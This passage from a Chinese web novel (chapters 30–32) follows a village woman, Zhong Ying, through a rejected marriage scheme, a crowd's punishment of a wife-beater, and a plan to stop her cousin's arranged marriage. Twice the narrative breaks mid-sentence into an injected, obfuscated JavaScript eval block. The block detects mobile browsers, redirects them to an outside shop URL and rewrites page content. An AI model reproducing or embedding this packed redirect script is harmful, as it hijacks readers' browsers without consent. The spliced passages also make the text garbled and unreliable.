一个身形虚肿、半弓着背的男人面容萎靡的扶着院门站到门口,“好你个邓霞……我就知道你盼着我死……” 邓霞嘴角下撇,耷拉着冷脸,没好气地说,“那你怎么不去死?真是祸害遗千年!” 30. 搅家精 很快,破败陈旧的院门里又出现一个中年妇人,她急急的追出来扶住男人的胳膊,“你才刚清醒了些,急什么的往外跑?!” 妇人脸上有着生活的愁苦刻下的皱纹,发间已有白丝的踪迹,但实际上,何宝琴比邓霞还小两岁。年轻时,邓霞一直把她视为妹妹照看,不过各自成婚生子过去了二十余年,何宝琴反倒看起来比邓霞还要年长。 扶住了杨刚,何宝琴看向邓霞,打圆场的说,“这话一传十、十传百的就变了味,我家这口子其实只是醉昏在草地里躺了一天,被队长找到后让几个壮劳力帮忙把他抬了回来,刚刚吐了几回,人才清醒过来。” 她招呼邓霞和钟颖,“来,霞姐、颖妮儿,快进家来,这大夏天的一路赶过来,口渴了吧?我给你们倒水喝。” 一进到屋子里,就是晦暗的室内光线和开着窗户也去不掉的霉味,仿佛一个张着大嘴的怪物,在人们走近它的嘴里后,便吸食走所有的正面情绪。 钟颖自己家也是贫农成分,但杨家看起来比她家日子过得还要艰难。 接过何宝琴倒了凉白开水的瓷碗,钟颖眼尖的看到了碗上蛛丝般的裂痕,她不由得更加小心的捧着手上的瓷碗,生怕手上一个用力再把碗给弄碎了。 照顾完客人们后,何宝琴又忙活着把杨刚扶回床上躺下,之后她才坐到床沿边歇口气。 何宝琴慈爱的看着钟颖,“颖妮儿越长越有大姑娘的样子了。” 这话跟逢年过节亲戚们的“又长高了”、“哎呀又变漂亮了”一样,都属于长辈们的客套话,钟颖一笑了之。 没像女儿那样找凳子坐下,邓霞一脸嫌弃的站在屋子里,居高临下的打量床上形同一摊烂肉的男人,“你看看你现在这样,白瞎你的名字了,叫什么杨刚,一点男人该有的阳刚都没有!” “呵,你家、你家就好了?阴盛阳衰!”杨刚气不顺的还在和她吵。 何宝琴连忙又在中间调和,她先是对着床上的杨刚说,“你就少说两句吧!” 接着何宝琴又扭头对邓霞说,“好了好了,霞姐,我知道你是为我说话,刚子这回要不是队长找到了他,说不准真要去见阎王,他知道怕了,和我保证以后再也不喝酒了。” “你还信他这鬼话?”邓霞啐了一口,“他都说了多少回了?宝琴你还信啊?” 这时,一个十来岁的小女孩跑进屋子里,一头扎进娘的怀里,怯生生的看着家里的两个客人。 “春巧,喊人啊,这不是几个月前才见过的邓姨和颖姐吗?”何宝琴推了推怀里的小女儿,催促她叫人。 杨春巧小声的重复了一遍,“邓姨,颖姐。” 钟颖也朝她打了个招呼。 何宝琴心思一转,把小女儿推出去,“春巧,带着你颖姐去街上凉快去,外面还能有点风。” 钟颖正想出去打听一下庄老四家儿子的事,立刻从善如流的站起身来。 杨春巧瘪着嘴,不情不愿的带着钟颖出了家门。 刚从外面回来的杨永昌看到妹妹春巧和钟颖一起从家里出来,他也不往家走了,脚尖一转就跟上两人。 钟颖实在是不想这么形容,但这人表现的极像闻到肉骨头味儿的狗,凑过来亦步亦趋的跟着她。 “颖妮儿,你和你娘一块儿来我家的?”杨永昌说,他想到了什么,“来看我爹的?” 杨永昌心里不禁暗喜,他爹倒得好啊。 钟颖只睨他一眼,这人长得和他爹杨刚很像,几乎是一个模子里刻出来的一般,对着这张年轻的脸庞,她却眼前仿佛重现刚刚中年男人那张浮肿颓唐的脸。 原先的钟颖可能看不出来,但现在的钟颖可是知道那句话的——“年下不叫姐,心思自然野”,何姨这个小儿子可比她小了三岁。 钟颖冷面无情,“叫姐,和谁没大没小的。” 杨永昌只得不情不愿的叫了一声,“颖姐。” 不过他也不气馁,挤开妹妹春巧,抢走钟颖身旁的位置,“颖姐,你想吃核桃吗?我知道哪儿有一颗野核桃树,别人都不知道,我带你去摘吧!” 一棵核桃树哪能勾走钟颖的魂,而且她还有事要做呢,“不去,我问你,你们生产队庄老四家的那个儿子,你熟悉吗?” 反正抓谁问不是问,钟颖就直接揪着杨永昌问了。 杨永昌脸上顿时流露出警惕神色,“你问他干嘛?” 不会是这瘪犊子抢先一步找了媒人上门说亲了吧? 钟颖懒得和他解释,“你不说,我找别人问去。” 杨永昌连忙小跑到钟颖前面拦住她,“我说,我说还不行吗?” 杨春巧仰着小脸看看哥哥、又看看姐姐,突然学会了什么,原来也不用低三下四的求人啊…… “庄老四家的独苗苗嘛,”杨永昌说着流露出一丝不屑,“我们都叫他庄跛子。” “什么?”钟颖惊诧,这外号任谁一听都能听出点东西来。 杨永昌怕她以为自己是恶意诋毁,连忙说道,“可不是我们故意给他起的外号,他这人就是跛脚,小时候走路慢些还看不出来,他娘都瞒着,只是越长大越明显,就再也藏不住了。” 钟颖不可能只听一人之言就全然相信,这下她必须亲眼看看人才行。 她一把揪住杨永昌的后脖领,“你带我去看看真人,眼见为实,不然我就当你是嫉妒他,故意说他坏话!” 本来被揪住衣领,杨永昌就有些喘不过来气,一听这话更是脸红脖子粗,“我嫉妒他?怎么可能!颖姐我带你只远远看一眼你就知道了!” 李霖时近来都呆在甘霖河里,试图让自己冷静下来,让清冷冷的河水带走那些不该有的念头,这些日子随波逐流,被河水又带到了砬弯沟河段,他便就呆在这里,不再往前。河流尽头是榆钱洼,那方水域是有鱼灵栖息,他是不会过去打扰的。 李霖时一直是个很理智的性子,小时候能克制住孩童贪玩的想法沉下心来读书,长大后……他当然也能。 抽身而退,在河水里呆的时间久了,李霖时感觉自己好像也变成了河水的一部分,属于人的那部分被剥离出去,不舍、牵挂、妄念等等情感仿佛被水冲淡…… “就是他?河边的那个?” 河面荡起波澜,李霖时在一霎那间睁眼,他好像听到了钟颖的声音,是听错了吗?她怎么来砬弯沟了? “对啊,我喊他一声,他准回头,庄跛子——” 又一道男声传来。 李霖时立时从河水里出来,只见远处钟颖同一个个头不算高的年轻男人站在一起,李霖时顺着她的目光看去,落在河边另一个男人身上。 什么情况?李霖时不由得皱紧眉头,不过是才一个来月的功夫,这俩男的是从哪儿冒出来的? 另一边,杨家里,何宝琴拉着邓霞在一旁凳子上坐下,“刚子也是心里憋屈,才多喝了些酒的。” 何宝琴忍不住对着不是亲姐姐但胜似亲姐姐的邓霞诉苦,“老大家的媳妇儿越来越厉害了!当初王媒人说亲时只说这姑娘文静,上门相看时我们也见女孩子文文静静、不言不语的,还以为是个老实孩子,谁成想嫁过来这几年,越发显露出本性来!” 何宝琴说的是她家那个大儿媳,“尤其是在她生下儿子之后,气焰更加嚣张,少点什么东西就朝我们老两口伸手,不给她就拿着大孙子当借口,跟滚刀肉一样,谁拿她都没办法。” 邓霞只能安慰道,“你们好歹是当婆婆、公公的,身板挺直了,硬气起来,还能让儿媳妇给拿捏住了?” 何宝琴叹着气摇头,“你是没亲眼见过我这大儿媳妇嘴巴有多厉害,骂起人来一句比一句脏,我和刚子都说不过她,大儿也管不了她,但凡我们回嘴一句,她就拿着给我们老杨家生了一女一子,凑齐了个‘好’字说事。” 说到这里,何宝琴这才把自己这些日子琢磨的事情说出,“所以我想,给小儿子也找个厉害媳妇……” 见何宝琴、杨刚夫妇两人都看着自己,邓霞还有什么不明白的,“你们看上我家颖妮儿了。” 何宝琴紧握住她的手,“咱们两个多少年的交情了,霞姐,你放心,我肯定把颖妮儿当自己闺女疼——” 不待她说完,邓霞就把自己的手抽了出来,坚定地拒绝,“不行。” “不可能。”邓霞又是一句回绝,她看着何宝琴,“你对付不了自己的大儿媳,想要搬救兵,行,这是你自家的事,但是你想让我的颖妮儿来做这个打擂台的人,不行,我不可能同意!” 邓霞说着,气笑了,“我好好的一个闺女,辛辛苦苦养这么大、养这么好,自生下她我就发誓,绝不让闺女再吃我小时候的苦!我自个儿是一点委屈都不想让她受,我教她、养她,让她长出一身的刺,不是给人当枪使的!让她来你家这个泥坑受委屈!” 何宝琴心中的小九九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546456|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被戳破,羞窘万分,只能无力的说,“霞姐,我肯定和颖妮儿站一边的、我们这不是一致对敌……” 床上的杨刚本就不是心甘情愿,只是被媳妇劝服,这下一听邓霞居然还不愿意,他立刻坐起身来,指着她说,“就你那个闺女的脾性,十里八乡的好人家谁敢要?要不是我们家已经有了一个搅家精了,哪里会再请一个?我还没嫌弃你家钟颖年纪大,你倒嫌弃起我家来了!” “我家颖妮儿也就比你儿子永昌大三岁!”邓霞伸手把怼到自己面前的手指掰弯了,咬着牙恶狠狠的说,“没听过女大三抱金砖啊!可这金砖就是落不到你家!不说别的,就你儿子长得像你这点,我就不可能把闺女嫁过来!” 杨刚疼得嗷嗷叫,“你个悍婆子!放手!放手——” “疼就对了!看你还敢不敢拿个破手指头到处指人!能指着我邓霞的鼻子骂的,你也不去打听打听他们的下场!”邓霞骂完,才放了手。 本来高高兴兴的来,没想到最后会是一肚子火。邓霞也待不下去了,抬脚就往外走。 何宝琴急急追出去,“霞姐,你别怪我,我也是实在没办法了,才想让你帮帮我……” 邓霞停住脚步,她转回头来,“宝琴,我拿你当亲妹子,我愿意帮你那是我乐意,但我不可能为了帮你,把自己闺女也搭上。她是我身上掉下来的一块肉,没人能比她更重。” 邓霞定定看着何宝琴,“你也比不过她。” 何宝琴不知自己为什么眼眶中涌出泪水,她哭着去追邓霞,像个十几岁的小姑娘一般,可一向会温声安慰她的姐姐这次却扯开了她的手。 钟颖同杨永昌、杨春巧兄妹俩一同回来,三人就见各自的娘前后脚的出来了,都不等钟颖反应,她就被她娘握住胳膊,硬生生的被带着掉头就走。 杨永昌、杨春巧兄妹俩也一头雾水的扶住踉跄哭泣的何宝琴,“娘,咋回事啊?” 钟颖被邓霞扯着,和来时一样,又是一口气走出了好几里地,要不是她实在被这竞走的速度累得够呛,连声喊了好几句,她娘还真能就这样把她拽回同甘生产队。 “出啥事了啊?”钟颖一边喘着粗气,一边揉着自己的胳膊问,“娘你不是每回来就和杨五叔吵两句,怎么这次看起来像是和何姨闹得不愉快?” 钟颖是真好奇,记忆中她娘和何宝琴好得跟亲姐妹似的,哪有过红脸的时候。 邓霞看她一眼,不想把那些腌臜的事说给女儿听,惹得闺女也生气上火,于是就只硬邦邦的说了一句,“大人的事你们小孩少管!” 钟颖只好不问了,跟在她娘身后小声嘀咕,“一会儿恨不得我原地嫁人当娘,一会儿又说我是小孩,少管大人的事……” 邓霞只当听不见。 回去的后半段路上,两人前后脚走着,安安静静的,各怀心事。 邓霞还在想杨家的事,钟颖则在想她看到的“跛子”。 夜色渐渐覆盖天空,好歹趁着天彻底暗下来前,娘俩回到了同甘生产队。 一边往家走,邓霞一边和坐在各自家门口乘凉的人们说话。 “那家的男人真走了啊?” “没!胡打听也不知道听谁说的,听岔了,人没事,就只是酒喝多了睡过去了而已。” “你们娘俩回来的还挺早啊,我刚刚还看钟老二回家拿蜡烛,说要去接你们。” “那我可要赶紧回去,省得他再真把蜡烛点了,那多浪费啊!” 就在这时,一道黑影慌不择路的从一户人家里仓皇跑出,一头撞到钟颖身上。 钟颖被撞的一愣,下意识的把这纤弱的人扶住,见她站稳了,这才松手。 原本钟颖只当是夜里天黑看不清才被人这么撞了一下,毕竟村里连个路灯都没有,她也没多在意,准备继续朝家走,谁成想一转过身去,又一道黑影直冲她而来,那黑影还扬起一只手,面容狰狞,黑夜中简直比鬼还吓人。 “我劁!”钟颖惊得脱口骂了一句,眼见那黑影的巴掌就要扇到她脸上,她几乎没多想,抬脚就踹。 不偏不倚,正中两腿之间。 见那人疼得躬着身倒在地上,钟颖这才后知后觉,“原来是个人啊……” 逆流而上回到同甘生产队,李霖时刚走过来,黑暗影响不了他的视力,将短短几瞬间发生的事情尽收眼底,尤其是钟颖抬脚踹上去的那一幕。 周身阴郁的气息一滞。 31. 群起而攻之 刘福顺没想到会被踹了命根子,苦不堪言的倒在地上痛苦的翻转,还听到踹他的那人轻飘飘的说什么“原来是个人啊”的话,气得他顾不得男人难言之痛,挣扎着站起来,怒视对方,“你什么意思?你当我不是人?而且你怎么回事?怎么上来就踹人——钟颖?” 黑沉沉的夜色下,只有离得近了仔细看才能看清楚人,否则一个个都跟影影绰绰的鬼似的。 钟颖也很无语,“大哥,你巴掌都要扇我脸上了,我那是踹你吗?我这是自卫!” 邓霞几个快步走到闺女面前,才看清这和钟颖对峙的人是谁,“刘强家老大,你朝我闺女动手,你还有理了?!” 刘福顺气得直喘气,明明他才是受伤的那个人,可偏偏这娘俩抢先占据高位指责他! 他正气不择言的想要不管不顾说出自己被踹了哪儿,却被人抢先一步。 “哎哟,福顺家的,你这脸怎么被打成这样了?”田梅一声惊呼。 钟春生听到外面的骚动,立刻点了手上的蜡烛大步走出家门。 也因此,借着蜡烛不甚明亮的光,在场的人都看到了年轻媳妇脸上青一块紫一块的痕迹,哪怕她很快捂住了自己的脸,看到的人也都是触目惊心。 钟颖也是一惊,她不禁低下头来暗暗咋舌,要是刚刚那脚踹得再狠些就好了。 周围的妇人纷纷指责起刘福顺。 “有什么事不能好好说,和媳妇动手的叫什么男人。”聂金凤唾弃。 “就是,你媳妇儿给你生了两个孩子,平日里我看她也是操持家务、照顾孩子,没有一点错处,你和她动手,你不丧良心啊!”作为长辈,聂英忍不住指责道。 钟颖赞同的附和点头,抬眸看到了一道异于常人的身影,她的眼眸顿时比烛光还要明亮。 李霖时看着她,没有错过这一变化,已经不再跳动的心脏仿佛被紧紧的攥了一下,在这样的目光下,他竟然有种被照亮的感觉。 钟颖是真的惊喜,一个多月了,蹭不到“空调”的日子太令人难过了,要不是时间地点现在的情况不适合,她真想对李霖时高歌一曲,“兄弟啊,想你啦~” 不断有人围过来谴责着刘福顺。 硬挤过来看热闹的胡打听拧眉,“这都造的什么孽!你看把好好的媳妇打成这样,你怎么下得去手!” 生产队最德高望重、辈分高的三姑婆也说,“是啊,家和万事兴,你这搞得家宅不宁,好好的日子不过了?” 刘福顺梗着脖子,“我说了几遍让她把屋门口的木桶拿走,她都没拿走,害得我一出门就一脚踩进桶里,鞋全湿了!” 钟颖震惊的扭头去看他,“就为这个?” 捂着脸的吴玲小声啜泣着,“……我、我这不是还没顾得上拿,晚饭吃完的碗我洗完还要忙活着照顾两个娃洗澡睡觉,我本想拿了要洗的衣服堆到盆子里,就把水桶拿走的……” 邓霞气得上下直打量刘福顺,“你媳妇又做家务又照看孩子的,你自己把水桶拿走不就是了?有朝媳妇动手的力气拿不走一桶水?我们这些伯娘婶子的也算是看着你长大,竟不知道你还长成了一副大爷样儿?” 那边,刘家人听闻事情,也纷纷赶来了。 刘家最小的女儿刘喜梅向来和大嫂关系最好,她还是第一次直面吴玲未经遮掩的凄惨模样,顿时就气疯了,十三岁的少女像横冲直撞的小牛崽,握着拳头冲过来就往大哥身上砸,“你打我嫂子!你怎么能打我嫂子!” 老二刘满仓连忙上前把妹妹架起来,不让她继续打人,他拧着眉教训道,“到底是我们的大哥,你一个做妹妹的怎么能朝哥哥动手呢!” 刘喜梅气得直在空中踢腿,“他有个做大哥的样子吗?他能对大嫂动手,我怎么不能对他动手!二哥,放开我!” 刘满仓的媳妇范大妮满眼心疼的扶住大嫂。 老三刘广田站在妹妹那边,也是不赞同的看着刘福顺,“大哥,咱们从爹身上遗传下来的力气,不是对着媳妇使的。” 四子刘丰收抱臂流里流气的站在旁边,“瞧瞧这么多人,还以为多大的事,不就是管教自己媳妇,都散了吧。” 他弟弟刘来财伸手扯了他一把,压低声音,“四哥,没你说的那么轻巧!你没看大嫂脸上被打的青一块、紫一块吗?” 刘丰收耸耸肩,“哪有怎么样?大哥做得再不好,不是还有爹娘吗?哪用得着其他人在这里指指点点。” 听到这话的邓霞翻了个白眼,行啊,那她就拖当爹当娘的下水。 “刘强!”邓霞气壮山河的直接叫他大名,“你个当爹的怎么教的孩子?居然还能做出对自己媳妇动手的畜生事来?还是说福顺这是有样学样,你这个当爹的在家也这德行?刘强家的,你家老头是不是也在家打你?” 众人闻言,目光齐齐的落到林淑红身上,她连忙摆手,“没有!那可从来没有!” 钟颖眼珠子一转,故意走到范大妮旁边,用不大不小的声音问她,“大妮姐,你在家没挨打吧?可真吓人,刘家大哥是个会动手打媳妇的,也不知道他家孩子是不是都这样……总之,你要是在家挨打了,可千万要说出来,我想范五叔、范五婶子肯定会给你撑腰的!实在不行还有我们家呢,毕竟是二十多年的老邻居了,要帮忙你就说一声!” 刚刚还站在局外人角度只指责一两句的聂英一听这话“炸”了呀,整个人都怒了,“满仓打你了?打你哪儿了?你还怀着孩子他都敢打你?!” 吓得刘满仓连连向丈母娘自证,“没有、没有,我没像大哥这样动过手!” 钟颖默默后退潜入人群中,刘家大嫂是沈家沟生产队远嫁过来的,举目无亲也许是刘福顺敢肆无忌惮动手和她默默容忍的原因,那就把更多的人拉下水吧。 借着夜黑,钟颖藏在人群里缩了缩脖子,让自己显得更矮一些,又粗着声音煽风点火,“哎呀,这老大都这德行了,很难说下面的兄弟几个不是这种会打媳妇的,谁家还敢把闺女嫁过去啊?” 钟颖又快速换了个位置,换了个声音,和刚刚的自己一唱一和,“就是就是!看看他媳妇,哎呦被打的这样子!这要是换成自己的闺女,那不得心疼死!都是爹生娘养的,还给他生儿育女、操持家务,天杀的,他怎么能动手?!” 果然很快,人们的思绪被牵引着走向自家闺女被打的假想中,这年头孩子多,谁家没个闺女啊,虽说人们的观念还是闺女没有儿子好,女儿再轻贱,那也不是能被人随意打骂的。 众人从指责刘家大儿子刘福顺,变成指责他爹娘没教导好孩子、怀疑他四个弟弟是不是也这种德行,就连向来被人们称赞的刘家人力气大的优点这时也变成了缺点,主导了这种暴力行为的发生。 钟颖深藏功与名,她只是小小的使用了一下“水军”的技能——引导舆论。 黑暗影响不了李霖时的视线,他清楚的看清了钟颖的一系列行动,嘴角不知不觉带上笑意,莫名想起了田野间钻坑冒头的野兔。 只是下一秒,只见钟颖朝他又看了一眼,那双明亮灼人的眼眸仿佛会说话一般,带着深深的狐疑。 钟颖刚把祸水引到刘家兄弟身上,突然想起李霖时算起来和他们是亲表兄弟,不由得真的怀疑起不会真有什么家暴基因吧? 读懂她眼神的李霖时脸色一沉,不接受这样子一口锅扣下来,从牙缝里挤出几个字,“我、不、是。” 在夜色和混乱的掩饰下,没人注意到钟颖,她双手掐到自己脖子上,翻了个白眼,意思是“你之前就这么对我动手过”。 李霖时又好笑又好气,他那是“家暴”吗?他那时候是真想杀她,而且……他们又不是两口子。 这边一人一鬼“眉来眼去”,另一边人们群情激愤。 见事情越闹越大,田梅赶忙转身往家跑,去叫她公公,生产队的队长李明过来。 刘强见大儿子干出的“好事”连累他几个弟弟都没了好名声,老二是娶媳妇了,但再往下,老三老四老五都还没娶亲呢,有个会打媳妇的大哥,媒人还怎么帮着说亲?!难道都要像坏了名声的赖混子一样打光棍吗? 一想到自己几个儿子有可能变成“刘三混子”、“刘四混子”……刘强像先前小女儿那样挥拳冲过去,拳拳到肉的砸在大儿子身上。 “你个畜生!都怪我以前教你教得还不够!”刘强一边揍儿子,一边咬着牙挤出几句话,“你是家里老大,不给弟弟妹妹们做个好榜样就算了,还连累你几个弟弟没了好名声!他们要是娶不上媳妇怎么办?我问你,怎么办!” 刘福顺被打得嗷嗷叫,他爹力气可比小妹的力气大多了,他疼得直躲,连连求饶,“爹,爹!我再也不敢了!我以后再也不对玲儿动手了!我给弟弟们做榜样,我改,我都改,我以后会对媳妇好的!” 钟颖看得手痒,她又无声无息的又走到她爹钟春生旁边,悄声说,“爹,蜡烛点着不浪费啊?” 也不等她爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551466|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答,钟颖就自顾自的说,“我给吹了啊,留着下回用。” 说完,路上唯一的光源就这么被她吹灭了。 黑夜下,钟颖贴着墙边听着声音朝挨打的人走去,直到离得近了,能分辨其中的两个身影,站着一直挥拳的是刘强,东躲一下西躲一下的是刘福顺。 不过还不等钟颖做什么,就被死鬼拦住了。 “我来。”李霖时冷着脸说,他看出了钟颖想做什么,怕她掺乎进去被误伤。 李霖时正被她气得不行,但眼前这个打不得骂不得,他的目光挪到正在被他舅揍的表哥身上,打这个吧,他大表哥确实欠揍。 不过李霖时也没做太多举动,只站在黑暗里,见到刘福顺往他这边躲,他就抬脚用力踹一下,将人重新赶回刘强的拳下。 只是抱着和钟颖一样心思的人还有几个,趁着黑暗的遮掩,不知不觉其他人也纷纷过来解恨的踩一脚、砸一拳…… 等李明和刘红艳赶来的时候,现场已经发展成了群殴。 李明简直惊呆了,大喝一声,“都干啥呢?!大晚上的打群架?” 聂英护着怀孕的闺女站在旁边,一直没参与。 邓霞和胡打听若无其事的收了手,往旁边急行几步假装自己也是从未参与。 聂金凤缓了缓气息,也往旁边站了站。 钟颖上前一步,扶了一把蹒跚的黑影,三姑婆看不清,只朝她感激的笑笑。 刘来财悄悄扯了一下妹妹的衣角,拽着她往旁边走。 不过片刻功夫,原本聚在一起的人像四散的鬼影纷纷退开,只剩下还在打儿子的刘强、林淑红夫妻俩。 胡打听讪笑着对李明说,“队长,这不就是爹娘教育孩子,哪里是打群架?大晚上的,黑灯瞎火,是容易看岔哈。” 刘福顺哀嚎,“爹,娘,别打我了,我感觉要死了——” 他额头上一片濡湿,还觉得越来越冷,刘福顺想起之前听别人说起过的,只是临死之人才会失温,八月份的夜晚他居然冷得发颤。完了,他真的要死了! 造成温度下降的“罪魁祸首”听到表哥的话诧异,退开一步。 李明和媳妇刘红艳一同连忙把刘强、林淑红拉开。 刘红艳不免数落起弟弟刘强,“你怎么能把孩子打成这样!” 刘强顺从的收了手,也不是真想把儿子打死,他从鼻子里哼的一声,“你看看他都做的什么好事!打媳妇?我把他也打成这样,让他尝尝滋味!” 田梅护着手里的蜡烛,怕走快了就被风吹灭了,这时才走过来。 刘红艳借着大儿媳手里的光,这才看清了大侄媳妇的脸,顿时唬了一跳,转头对刘福顺啐了一声,“该!” 接着刘红艳又接过儿媳手里的蜡烛,不放心的去照侄子,担心她弟真把孩子打出个好歹来。 毕竟刚刚刘福顺哀嚎着他要死了。 可烛光照着一看…… 刘红艳没好气的直接上手推搡了一把侄子的脸,嗤了一声,“就你娇贵,破个拇指大的口子就要死要活的。你爹下手可比你轻多了!” 一听这话,刘福顺松了口气,看来他没有自己媳妇伤得重。 刘强横眉冷目瞪着大儿子,“你敢再犯一次试试!老子就真的打死你,没了你,大儿媳日子说不定还能好过些!” 刘福顺怕得声音都变了调,连声喊着,“爹,我记得了!娘、大姨!大姨夫——” 他真的不敢再犯了,先不提那种仿佛濒临死亡的彻骨寒意,还有他爹娘揍他的,到底是谁扯了他的头发、扇了他一耳光、狂踹他后腰和屁股的? 拳头只有落到自己身上了,才知道痛。 李明头疼的拦住刘强,“好了,打一回孩子知道错了就行了,明天我就安排他去开暗沟去!”有劲儿是吧,有劲儿都给他用去建设生产队去! 刘福顺傻眼,“啊?” 他大姨夫是没打他,但怎么直接把他扔去劳动改造了?开暗沟?那可是苦活,非强壮劳力都干不了。 “啊什么啊,”李明沉着脸瞪他,“你自己犯了错没点思想觉悟?这事没得商量!” 本来地里的事闲下来,李明刚刚才擦了擦幺儿的牌位,想着终于有空能说一会儿心里话了,他眼泪都要流下来了,就被大儿媳急急忙忙喊来给大侄子擦屁股,李明心里能不窝火吗? 既然闲得惹事,那就去干活吧!不累个半死别回家,累个半死也就不惹事了。 32. 隔山打牛 “个头是有一米八没错,”钟颖一个转折,“但是吧,架不住他一脚一米八、一脚一米七。” 钟妮和她身后半透明的娘同时脸色大变。 “媒人说的很爱笑,”钟颖说,“我远远看了,确实爱笑,就是笑得有点瘆人,身有残疾,难免心理上和常人不同,自卑阴郁什么的……” 曹芳和钟妮娘俩知道了媒人口中好青年的真实情况。 钟颖也从她娘邓霞那里问出了那日匆匆离开砬弯沟的原因,原来是何宝琴想要钟颖嫁给她小儿子杨永昌、以达到和大儿媳打擂台的目的。我拿你当好姐妹,你拿我闺女当枪使,也怪不得邓霞当场翻脸了。 李霖时也终于搞清楚了,原来那天钟颖只是帮她堂妹打探河边的那个青年,至于当时她身边的那个,虽然心思不纯,但已经被钟颖她娘给拒绝掉了。 听完钟颖的话,钟妮脸都白了,快赶上身后她娘曹芳的脸色了。 “堂姐,那我、我怎么办?”钟妮慌了神,“就算我和我爹说,他也不会听我的,只会指责我操心这些不该我想的事,婚姻大事由爹娘做主,哪由得我去想愿意还是不愿意……” “大侄女,那这可怎么办啊?”曹芳急得想掉泪,“我等男方上门相看的时候故意使点绊子?让他们觉得这桩婚事不顺能不能作罢?” 钟颖看着她们,沉吟了良久。 钟妮忍不住心急的唤她,“堂姐?” “大侄女,”曹芳说,“这事就没得办法了吗?” “哦,”钟颖回过神来,“也不是完全没招,你在家说不上话,不是还有你弟吗?钟妮,你把你弟喊过来,我来撺掇、咳,我来和他好好讲讲。” 钟妮立刻高兴的应了一声。 曹芳留在原地,问钟颖,“大侄女,你是觉得我插手故意给人使绊子不好吗?我是想反正阴差们只说了不让鬼杀人,那我不把人弄死了,应该不算数吧……” “没,我不是在想这个,非常时期用非常办法嘛,我觉得大伯娘你这主意也不错,可以试试。”钟颖说,“我刚刚只是在想,这时候女人没有话语权,权柄掌握在男人手里,就连我,也说不上话,只能想办法隔山打牛,利用另一个男性才能达成目的。” 曹芳不明所以,“不是一直都这样吗?” 钟颖摇摇头,抬脚往前走。 不是的,不会一直这样,女人总会抢回权柄,她知道,她见过。 所以……钟颖现在的心情,只有“憋屈”二字。 李霖时看着她的背影,第一次在她身上感受到了一种沉郁。 —— 钟拴柱气势汹汹的冲回家,按照堂姐说的叫什么“先发制人”,诘问他爹钟秋收,“爹,你知道上回那媒人说的青年是个跛子吗?” 钟秋收惊讶,“跛子?你从哪儿听说的?” 这问题堂姐给他演练过了,别自证,先质问。 “这稍微打听一下就能知道的事,爹你怎么都不知道?”钟拴柱气呼呼的问,“我姐到底是不是你闺女?你怎么一点都不上心?不行,这门亲事不能成!” “怎么不能成?!”钟秋收脸一沉,呵斥儿子,“你知不知道人家给多少彩礼钱?六十!都够你娶两回媳妇的了!有了这笔钱,过两年你不仅能说门好亲,还能把家里屋子重新收拾一番!” 钟拴柱年轻的脸上有一丝意动,但很快想起他堂姐锤他胳膊的那一下,他摸了摸还隐隐作痛的地方,清醒过来,“那也不行!六十块钱买断的是我姐后半辈子的好日子!” 他堂姐可是说了,要是他姐钟妮以后没好日子过,她钟颖和他钟拴柱就是今天的钟春生和钟秋收,小辈们也是一样翻脸再无来往。 秤的一头只有他爹,另一头则是他姐、他堂姐以及堂姐身后的二叔、二婶、堂哥、堂嫂、堂弟、侄子……钟拴柱人是天真了些,但也分得清轻重,知道该怎么选。 钟拴柱才不想变成像他爹这样亲缘寡淡的人,“我就这么一个亲姐,她好了我才能好!” 钟秋收气极,“你一个小孩还管起这种事来了?” 他指着端着碗筷饭菜进门的钟妮,怒喝道,“是不是你指示你弟这么闹的?你知不知羞啊,从来婚事都是爹娘做主,哪有自己去打听的?” 钟妮吓得脸一白,把饭菜放在桌上后,她就躲到屋子角落里默默掉眼泪。 堂姐简直神了!钟拴柱在心里默默惊叹,他爹的每一个反应都被预判到了。 “你作为和你爹一样在家能说话的男人,唯一的劣势就是你年纪太小,但……谁说劣势就一直会是劣势呢?” 钟拴柱大吼一声,“反正我说不行就是不行!等媒人带着那跛子来了,我就拿扫帚把他们都撵出去!” 钟秋收又惊又怒,从没见过儿子这般撒泼混账的样子,都说没娘的孩子懂事早,女儿钟妮是个听话乖巧的,带着她弟弟也是如此,他是真没想到老实了十六年的儿子突然像个不懂事的小孩那样犯浑。 钟秋收抄起墙边的扫帚,“我先拿扫帚揍你一顿!” 钟拴柱一边满屋子躲,一边叫嚣着,“你为了六十块钱的彩礼就要把我姐嫁给一个跛子,全生产队的人都得笑话我们爷俩!你不要脸我还要呢!” 正值饭点,村口的李明家也正准备吃完饭。 “队长!队长,你快去看看吧!钟老大和他儿子拴柱又干起架来了!” 李明忍耐的攥紧了手上的筷子。 昨天刘强打儿子,今天钟老大又和儿子干架,一个两个,是不是闲着没事干就身上招蛆,非得惹出来点事才行? 李明放下筷子,顾不上吃饭,认命的往外走。 等到了钟老大家,李明拧着眉按住气喘吁吁还想揍儿子的钟秋收,“行了,别追了,你追了这么久真打着几下?老胳膊老腿的了,哪能跑过年轻的?” 钟秋收老脸有点挂不住。 李明问这爷俩,“因为什么事啊?” 钟拴柱抢先说道,“我爹见钱眼开!为了六十块钱彩礼钱要把我姐嫁给一个跛子!” 围在门口看热闹的人们听到这话纷纷唏嘘。 “我的个山神娘娘咧!这老货卖女儿啊!” “他家钟妮多好的孩子啊,怎么能嫁给一个跛子,这不是毁了闺女的一辈子吗?” 